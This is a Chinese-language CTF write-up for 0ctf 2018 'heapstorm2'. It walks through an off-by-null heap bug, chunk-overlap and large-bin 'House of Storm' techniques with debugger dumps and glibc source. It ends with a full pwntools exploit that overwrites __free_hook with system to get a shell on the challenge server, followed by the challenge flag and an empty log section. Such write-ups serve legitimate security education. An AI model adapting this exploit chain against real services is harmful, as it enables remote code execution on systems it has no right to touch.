0ctf2018 heapstorm2 writeup

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2

前置知识

  • mallopt
    int mallopt(int param,int value) param的取值分别为M_MXFAST,value是以字节为单位。
    M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。下面我们来将M_MXFAST设置为0,禁止使用fastbins
    源码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    102     #ifndef M_MXFAST
    103 # define M_MXFAST 1 /* maximum request size for "fastbins" */
    104 #endif

    5137 int __libc_mallopt (int param_number, int value)
    5138 {
    5139 mstate av = &main_arena;
    5140 int res = 1;
    5141
    5142 if (__malloc_initialized < 0)
    5143 ptmalloc_init ();
    5144 __libc_lock_lock (av->mutex);
    5145
    5146 LIBC_PROBE (memory_mallopt, 2, param_number, value);
    5147
    5148 /* We must consolidate main arena before changing max_fast
    5149 (see definition of set_max_fast). */
    5150 malloc_consolidate (av);
    5151
    5152 switch (param_number)
    5153 {
    5154 case M_MXFAST:
    5155 if (value >= 0 && value <= MAX_FAST_SIZE)
    5156 {
    5157 LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
    5158 set_max_fast (value);
    5159 }
    5160 else
    5161 res = 0;
    5162 break;
    5163
    5164 case M_TRIM_THRESHOLD:
    5165 do_set_trim_threshold (value);
    5166 break;
    5167
    5168 case M_TOP_PAD:
    5169 do_set_top_pad (value);
    5170 break;
    5171
    5172 case M_MMAP_THRESHOLD:
    5173 res = do_set_mmap_threshold (value);
    5174 break;
    5175
    5176 case M_MMAP_MAX:
    5177 do_set_mmaps_max (value);
    5178 break;
    5179
    5180 case M_CHECK_ACTION:
    5181 do_set_mallopt_check (value);
    5182 break;
    5183
    5184 case M_PERTURB:
    5185 do_set_perturb_byte (value);
    5186 break;
    5187
    5188 case M_ARENA_TEST:
    5189 if (value > 0)
    5190 do_set_arena_test (value);
    5191 break;
    5192
    5193 case M_ARENA_MAX:
    5194 if (value > 0)
    5195 do_set_arena_max (value);
    5196 break;
    5197 }
    5198 __libc_lock_unlock (av->mutex);
    5199 return res;
    5200 }
  • 利用linux的/dev/urandom文件产生较好的随机数
    https://blog.csdn.net/stpeace/article/details/45829161
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    int randNum = 0;  
    int fd = open("/dev/urandom", O_RDONLY);
    if(-1 == fd)
    {
    printf("error\n");
    return 1;
    }

    read(fd, (char *)&randNum, sizeof(int));
    close(fd);

分析

checksec

1
2
3
4
5
6
7
parallels@ubuntu:~/ctf/0ctf2018/heapstorm2$ checksec heapstorm2
[*] '/home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序分析

关闭fastbin的分配

对存放堆指针和size的地方进行随机化


读入随机数前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> b *555555554000+0x0000000000000CA6
Breakpoint 1 at 0x8159b10f76
pwndbg> r
Starting program: /home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2
...
...
Breakpoint *0x555555554000+0x0000000000000CA6
pwndbg> x /50gx 0x13370800
0x13370800: 0x0000000000000000 0x0000000000000000
0x13370810: 0x0000000000000000 0x0000000000000000
0x13370820: 0x0000000000000000 0x0000000000000000
0x13370830: 0x0000000000000000 0x0000000000000000
0x13370840: 0x0000000000000000 0x0000000000000000
0x13370850: 0x0000000000000000 0x0000000000000000
0x13370860: 0x0000000000000000 0x0000000000000000
0x13370870: 0x0000000000000000 0x0000000000000000
0x13370880: 0x0000000000000000 0x0000000000000000
0x13370890: 0x0000000000000000 0x0000000000000000
0x133708a0: 0x0000000000000000 0x0000000000000000
0x133708b0: 0x0000000000000000 0x0000000000000000
0x133708c0: 0x0000000000000000 0x0000000000000000
0x133708d0: 0x0000000000000000 0x0000000000000000
0x133708e0: 0x0000000000000000 0x0000000000000000
0x133708f0: 0x0000000000000000 0x0000000000000000
0x13370900: 0x0000000000000000 0x0000000000000000
0x13370910: 0x0000000000000000 0x0000000000000000
0x13370920: 0x0000000000000000 0x0000000000000000
0x13370930: 0x0000000000000000 0x0000000000000000
0x13370940: 0x0000000000000000 0x0000000000000000
0x13370950: 0x0000000000000000 0x0000000000000000
0x13370960: 0x0000000000000000 0x0000000000000000
0x13370970: 0x0000000000000000 0x0000000000000000
0x13370980: 0x0000000000000000 0x0000000000000000

读入随机数后

1
2
3
4
5
6
7
pwndbg> x /50gx 0x13370800
0x13370800: 0x72cec7f9b44fb49e 0x438137bc554b405e
0x13370810: 0x7a4f542a3248dba2 0x0000000000000000
0x13370820: 0x0000000000000000 0x0000000000000000
0x13370830: 0x0000000000000000 0x0000000000000000
0x13370840: 0x0000000000000000 0x0000000000000000
0x13370850: 0x0000000000000000 0x0000000000000000

)
用如图上数字1处的随机数去覆盖后面的16个的每一行的左八个字节(堆指针)。用如图上数字2处的随机数去覆盖后面的16个的每一行的右八个字节(size)。
用图上数字3处的随机数去覆盖数字4处。

主函数

添加

更新

有off by null漏洞

删除

显示

漏洞分析

在update的时候有一个off by null。

其他

之前做堆的题都不建结构体,全靠脑补…这次建一下,让反编译出来的好看一点。
1.添加segment




2.建结构体

3.改函数参数


4.最后的修改结果

利用

shrink the chunk来overlap

前提:存在一个off-by-null漏洞(已满足)
目的:创造出overlap chunk,进而更改其他chunk中的内容
主要利用unsorted,small bin会unlink合并的特性来达到我们的目的。
1.伪造prev_size

1
2
3
4
5
6
7
8
9
10
alloc(0x18)     #0
alloc(0x508) #1
alloc(0x18) #2
update(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size

alloc(0x18) #3
alloc(0x508) #4
alloc(0x18) #5
update(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
alloc(0x18) #6


2.free 1,于是下一个chunk的inuse和prev_size将被设置。
图示灰色的地方代表被free掉,然后触发off by null,修改1的size。

1
2
free(1)
update(0, 'h'*(0x18-12)) #off-by-one


3.将free的1再分配出来,然后再分配一块空间到原来的1中,注意大小不能刚好使得这个chunk和2相邻,否则会把2的inuse位置1,不能在后续触发unlink。
然后再free 2,就能触发unlink,然后1和7,overlap

1
2
3
4
alloc(0x18)     #1
alloc(0x4d8) #7
free(1)
free(2) #backward consolidate


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
pwndbg> x /500gx 0x55f082807020
0x55f082807020: 0x49495f4d524f5453 0x0000000000000021
0x55f082807030: 0x00007f685fb20b78 0x00007f685fb20b78
0x55f082807040: 0x0000000000000020 0x00000000000004e0-->7
0x55f082807050: 0x0000000000000000 0x0000000000000000
0x55f082807060: 0x0000000000000000 0x0000000000000000
0x55f082807070: 0x0000000000000000 0x0000000000000000
0x55f082807080: 0x0000000000000000 0x0000000000000000
0x55f082807090: 0x0000000000000000 0x0000000000000000
0x55f0828070a0: 0x0000000000000000 0x0000000000000000
0x55f0828070b0: 0x0000000000000000 0x0000000000000000
0x55f0828070c0: 0x0000000000000000 0x0000000000000000
0x55f0828070d0: 0x0000000000000000 0x0000000000000000
0x55f0828070e0: 0x0000000000000000 0x0000000000000000
0x55f0828070f0: 0x0000000000000000 0x0000000000000000
0x55f082807100: 0x0000000000000000 0x0000000000000000
0x55f082807110: 0x0000000000000000 0x0000000000000000
0x55f082807120: 0x0000000000000000 0x0000000000000000
0x55f082807130: 0x0000000000000000 0x0000000000000000
0x55f082807140: 0x0000000000000000 0x0000000000000000
0x55f082807150: 0x0000000000000000 0x0000000000000000
0x55f082807160: 0x0000000000000000 0x0000000000000000
0x55f082807170: 0x0000000000000000 0x0000000000000000
0x55f082807180: 0x0000000000000000 0x0000000000000000
0x55f082807190: 0x0000000000000000 0x0000000000000000
0x55f0828071a0: 0x0000000000000000 0x0000000000000000
0x55f0828071b0: 0x0000000000000000 0x0000000000000000
0x55f0828071c0: 0x0000000000000000 0x0000000000000000
0x55f0828071d0: 0x0000000000000000 0x0000000000000000
0x55f0828071e0: 0x0000000000000000 0x0000000000000000
0x55f0828071f0: 0x0000000000000000 0x0000000000000000
0x55f082807200: 0x0000000000000000 0x0000000000000000
0x55f082807210: 0x0000000000000000 0x0000000000000000
0x55f082807220: 0x0000000000000000 0x0000000000000000
0x55f082807230: 0x0000000000000000 0x0000000000000000
0x55f082807240: 0x0000000000000000 0x0000000000000000
0x55f082807250: 0x0000000000000000 0x0000000000000000
0x55f082807260: 0x0000000000000000 0x0000000000000000
0x55f082807270: 0x0000000000000000 0x0000000000000000
0x55f082807280: 0x0000000000000000 0x0000000000000000
0x55f082807290: 0x0000000000000000 0x0000000000000000
0x55f0828072a0: 0x0000000000000000 0x0000000000000000
0x55f0828072b0: 0x0000000000000000 0x0000000000000000
0x55f0828072c0: 0x0000000000000000 0x0000000000000000
0x55f0828072d0: 0x0000000000000000 0x0000000000000000
0x55f0828072e0: 0x0000000000000000 0x0000000000000000
0x55f0828072f0: 0x0000000000000000 0x0000000000000000
0x55f082807300: 0x0000000000000000 0x0000000000000000
0x55f082807310: 0x0000000000000000 0x0000000000000000
0x55f082807320: 0x0000000000000000 0x0000000000000000
0x55f082807330: 0x0000000000000000 0x0000000000000000
0x55f082807340: 0x0000000000000000 0x0000000000000000
0x55f082807350: 0x0000000000000000 0x0000000000000000
0x55f082807360: 0x0000000000000000 0x0000000000000000
0x55f082807370: 0x0000000000000000 0x0000000000000000
0x55f082807380: 0x0000000000000000 0x0000000000000000
0x55f082807390: 0x0000000000000000 0x0000000000000000
0x55f0828073a0: 0x0000000000000000 0x0000000000000000
0x55f0828073b0: 0x0000000000000000 0x0000000000000000
0x55f0828073c0: 0x0000000000000000 0x0000000000000000
0x55f0828073d0: 0x0000000000000000 0x0000000000000000
0x55f0828073e0: 0x0000000000000000 0x0000000000000000
0x55f0828073f0: 0x0000000000000000 0x0000000000000000
0x55f082807400: 0x0000000000000000 0x0000000000000000
0x55f082807410: 0x0000000000000000 0x0000000000000000
0x55f082807420: 0x0000000000000000 0x0000000000000000
0x55f082807430: 0x0000000000000000 0x0000000000000000
0x55f082807440: 0x0000000000000000 0x0000000000000000
0x55f082807450: 0x0000000000000000 0x0000000000000000
0x55f082807460: 0x0000000000000000 0x0000000000000000
0x55f082807470: 0x0000000000000000 0x0000000000000000
0x55f082807480: 0x0000000000000000 0x0000000000000000
0x55f082807490: 0x0000000000000000 0x0000000000000000
0x55f0828074a0: 0x0000000000000000 0x0000000000000000
0x55f0828074b0: 0x0000000000000000 0x0000000000000000
0x55f0828074c0: 0x0000000000000000 0x0000000000000000
0x55f0828074d0: 0x0000000000000000 0x0000000000000000
0x55f0828074e0: 0x0000000000000000 0x0000000000000000
0x55f0828074f0: 0x0000000000000000 0x0000000000000000
0x55f082807500: 0x0000000000000000 0x0000000000000000
0x55f082807510: 0x0000000000000000 0x0000000000000000
0x55f082807520: 0x0000000000000000 0x524f545350414549
0x55f082807530: 0x0000000000000510 0x0000000000000020


当free 2的时候,因为2是small bin的大小的缘故,所以会检测上一个chunk是否inused.
它会根据prev_size找到1,然后做unlink。
此时,unsortbin存放着这块大的chunk,所以下次malloc会用这一块先分配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> unsortedbin 
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
pwndbg> x /20gx 0x555555757020
0x555555757020: 0x49495f4d524f5453 0x0000000000000531
0x555555757030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000

可以看出通过chunk shrink,实现了overlap。

1
2
alloc(0x38)     #1
alloc(0x4e8) #2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x555555757020 FASTBIN {
prev_size = 5280856823766668371,
size = 65,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757060 PREV_INUSE {
prev_size = 0,
size = 1265,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
...
...
pwndbg> x /100gx 0x555555757020
0x555555757020: 0x49495f4d524f5453 0x0000000000000041-->1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000-->7
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x00000000000004f1-->2
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000

重复一遍之前的过程,再次构造overlap

1
2
3
4
5
6
7
free(4)
update(3, 'h'*(0x18-12)) #off-by-one
alloc(0x18) #4
alloc(0x4d8) #8
free(4)
free(5) #backward consolidate
alloc(0x48) #4

然后4和8交叠。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> x /50gx 0x555555757570
0x555555757570: 0x49495f4d524f5453 0x0000000000000021
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x00000000000004e1-->8
0x5555557575a0: 0x0000000000000000 0x0000000000000000
0x5555557575b0: 0x0000000000000000 0x0000000000000000
....
....
....
unlink之后
....
....
....
pwndbg> x /50gx 0x555555757570
0x555555757570: 0x49495f4d524f5453 0x0000000000000051-->4
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x0000000000000000-->8
0x5555557575a0: 0x0000000000000000 0x0000000000000000
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x00000000000004e1
0x5555557575d0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x5555557575e0: 0x0000000000000000 0x0000000000000000
0x5555557575f0: 0x0000000000000000 0x0000000000000000
0x555555757600: 0x0000000000000000 0x0000000000000000
0x555555757610: 0x0000000000000000 0x0000000000000000

利用unsorted bin中的chunk插入到large bin写数据,绕过对unsortbin中chunk的size大小的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
free(2)
alloc(0x4e8) #2
free(2)

storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
update(7, p1)

p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

free 2前

1
2
3
pwndbg> unsortedbin 
unsortedbin
all: 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557575c0

free 2后

1
2
3
pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */

将2再分配出来,这时0x5555557575c0掉链,进入large bins中,再free 2,0x555555757060再次进入unsortedbin。

1
2
3
4
5
6
7
8
9
pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
pwndbg> largebins
largebins
0x400: 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x7ffff7dd1f68
0x440: 0x7ffff7dd1f78 (main_arena+1112) ◂— 0x7ffff7dd1f78
0x480: 0x7ffff7dd1f88 (main_arena+1128) ◂— 0x7ffff7dd1f88
0x4c0: 0x5555557575c0 —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0

然后要fake 0x555555757060的后向指针。

1
2
3
4
5
6
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
update(7, p1)

fake前

1
2
3
4
5
6
7
8
9
pwndbg> x /20gx 0x555555757020
0x555555757020: 0x49495f4d524f5453 0x0000000000000041
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x00000000000004f1
0x555555757070: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000

fake后

1
2
3
4
5
6
7
8
9
10
pwndbg> x /20gx 0x555555757020
0x555555757020: 0x49495f4d524f5453 0x0000000000000041
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x00000000000004f1
0x555555757070: 0x0000000000000000 0x00000000133707e0
0x555555757080: 0x524f545350414548 0x0000000049495f4d
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000

可以看出bk指针被改写。
然后fake

1
2
3
4
p2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
p2 += p64(0) + p64(fake_chunk+8) # bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

fake前

1
2
3
4
5
6
7
8
9
10
wndbg> x/20gx 0x555555757590
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x0000000000000000 0x0000000000000000
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x00000000000004e1
0x5555557575d0: 0x00007ffff7dd1f98 0x00007ffff7dd1f98
0x5555557575e0: 0x00005555557575c0 0x00005555557575c0
0x5555557575f0: 0x0000000000000000 0x0000000000000000
0x555555757600: 0x0000000000000000 0x0000000000000000
0x555555757610: 0x0000000000000000 0x0000000000000000

fake后

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x555555757590
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x0000000000000000 0x0000000000000000
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x00000000000004e1
0x5555557575d0: 0x0000000000000000 0x00000000133707e8
0x5555557575e0: 0x0000000000000000 0x00000000133707c3
0x5555557575f0: 0x524f545350414548 0x0000000049495f4d
0x555555757600: 0x0000000000000000 0x0000000000000000
0x555555757610: 0x0000000000000000 0x0000000000000000
0x555555757620: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
try:
# if the heap address starts with "0x56", you win
alloc(0x48) #2
except EOFError:
# otherwise crash and try again
r.close()
continue

当再分配一个chunk的时候,会先检查unsorted bin中有没有合适的,如果没有就把unsortbin中的chunk插入large bin中。
看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
....
....
....
// 如果size<large bin中最后一个chunk即最小的chunk,就直接插到最后
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
// 否则正向遍历,fwd起初是large bin第一个chunk,也就是最大的chunk。
// 直到满足size>=large bin chunk size
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
// 插入
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

当找到插入的位置后,看源码里具体的插入操作。
注意large bin要维持两个双向链表,多了一个chunk size链表,所以要在两个链表中插入。

1
2
3
4
5
6
7
8
9
10
11

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

在此题中,fwd只可能是我们放入large bin的唯一一个chunk,而它的bk_nextsize和bk都是我们可以控制的(如上一步的改写)

1
2
3
4
victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

---->fwd->bk_nextsize->fd_nextsize=victim

victim就是我们要插入的堆地址。
bk_nextsize被写为0x13370800-0x20-0x18-5,那么*(0x13370800-0x20-0x18-5+0x20)=victim

1
fwd->bk=victim;

bk被写为0x13370800-0x20+8,那么*(0x13370800 -0x20+8 ) = victim。

当第一个chunk从unsorted bin插入到large bin之后,再到unsorted bin的下一个chunk,如果不满足分配则插入到large bin中。
而下一个chunk是我们伪造的(0x13370800-0x20)

而这个地方已经有值了,也就是我们写入的
(0x13370800-0x20-0x18-5+0x20)=0x133707e3=victim

1
2
pwndbg> x/gx 0x133707e3
0x133707e3: 0x000056213c4c8060

chunk的size,即0x13370800-0x20+0x8=0x133707e8,就是\x55或者\x56。

1
2
# if the heap address starts with "0x56", you win
alloc(0x48) #2

之所以要求是\x56,因为需要满足一个检查。

1
2
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));

即chunk的mmap标志位置位。

之前我调试的时候都是打开的ASLR,现在关掉看一下,多运行几次总能有一次成功的。

去掉标志位,那么它的大小就是0x50,就满足alloc(0x48),就会返回给我们,成功返回0x13370800-0x10之后,就是传统的做法了。

leak heap,leak libc,覆盖free_book值为system

getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python
# encoding: utf-8

#flag{Seize it, control it, and exploit it. Welcome to the House of Storm.}

import itertools
from hashlib import sha256
from pwn import remote, process, ELF
from pwn import context
from pwn import p32,p64,u32,u64

context(arch='amd64', os='linux', log_level='info')
r = None

def proof():
chal = r.recvuntil('\n').strip()
print chal
for x in itertools.product(range(0, 0xff), repeat=4):
x = ''.join(map(chr, x))
if sha256(chal+x).digest().startswith('\0\0\0'):
r.send(x)
return
print 'Not Found'
exit()

def alloc(size):
r.sendline('1')
r.recvuntil('Size: ')
assert(12 < size <= 0x1000)
r.sendline('%d' % size)
r.recvuntil('Command: ')

def update(idx, content):
r.sendline('2')
r.recvuntil('Index: ')
r.sendline('%d' % idx)
r.recvuntil('Size: ')
r.sendline('%d' % len(content))
r.recvuntil('Content: ')
r.send(content)
r.recvuntil('Command: ')

def free(idx):
r.sendline('3')
r.recvuntil('Index: ')
r.sendline('%d' % idx)
r.recvuntil('Command: ')

def view(idx):
r.sendline('4')
r.recvuntil('Index: ')
r.sendline('%d' % idx)
m = r.recvuntil('Command: ')
pos1 = m.find(']: ') + len(']: ')
pos2 = m.find('\n1. ')
return m[pos1:pos2]

def exploit(host):
global r
port = 5655

while True:
r = remote(host, port)
proof()

r.recvuntil('Command: ')

alloc(0x18) #0
alloc(0x508) #1
alloc(0x18) #2
update(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size

alloc(0x18) #3
alloc(0x508) #4
alloc(0x18) #5
update(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
alloc(0x18) #6

free(1)
update(0, 'h'*(0x18-12)) #off-by-one
alloc(0x18) #1
alloc(0x4d8) #7
free(1)
free(2) #backward consolidate
alloc(0x38) #1
alloc(0x4e8) #2

free(4)
update(3, 'h'*(0x18-12)) #off-by-one
alloc(0x18) #4
alloc(0x4d8) #8
free(4)
free(5) #backward consolidate
alloc(0x48) #4

free(2)
alloc(0x4e8) #2
free(2)

storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
update(7, p1)

p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

try:
# if the heap address starts with "0x56", you win
alloc(0x48) #2
except EOFError:
# otherwise crash and try again
r.close()
continue

st = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage)
update(2, st)

st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(storage-0x20+3) + p64(8)
update(0, st)

leak = view(1)
heap = u64(leak)
print 'heap: %x' % heap

st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
update(0, st)

leak = view(1)
unsorted_bin = u64(leak)
main_arena = unsorted_bin - 0x58
libc_base = main_arena - 0x399b00
print 'libc_base: %x' % libc_base
libc_system = libc_base + 0x3f480
free_hook = libc_base + 0x39b788

st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(0x100) + '/bin/sh\0'
update(0, st)
update(1, p64(libc_system))

r.sendline('3')
r.recvuntil('Index: ')
r.sendline('%d' % 2)
break

if __name__ == '__main__':
host = '202.120.7.205'
exploit(host)
r.interactive()

log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
